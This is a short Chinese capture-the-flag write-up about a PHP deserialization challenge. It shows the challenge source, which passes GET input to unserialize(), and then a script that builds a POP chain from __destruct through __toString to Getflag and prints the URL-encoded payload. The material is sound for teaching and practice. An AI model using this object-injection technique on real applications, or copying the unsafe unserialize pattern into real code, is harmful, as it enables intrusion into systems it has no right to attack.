一、源码:
<?php
error_reporting(0);
show_source("index.php");
class w44m{
private $admin = 'aaa';
protected $passwd = '123456';
public function Getflag(){
if($this->admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php');
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
}
class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}
class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
}
$w00m = $_GET['w00m'];
unserialize($w00m);
?>
二、解法:
这道题的关键在于触发Getflag函数。往下看,w33m类的__toString()方法可以做到这一点,所以需要让$this->w00m为w44m类,而$this->w22m为“Getflag”。接下来的问题就是触发w33m类的__toString()方法。可以看到w22m类中有一个echo,可以利用w22m类来触发__toString()方法。
构造pop链:
<?php
error_reporting(0);
show_source("index.php");
class w44m{
private $admin = 'w44m';
protected $passwd = '08067';
}
class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}
class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
}
$w00m = new w22m();
$w00m->w00m = new w33m();
$w00m->w00m->w00m = new w44m();
$w00m->w00m->w22m = 'Getflag';
echo urlencode(serialize($w00m));
?>
注意:有不可见字符,需要进行url编码。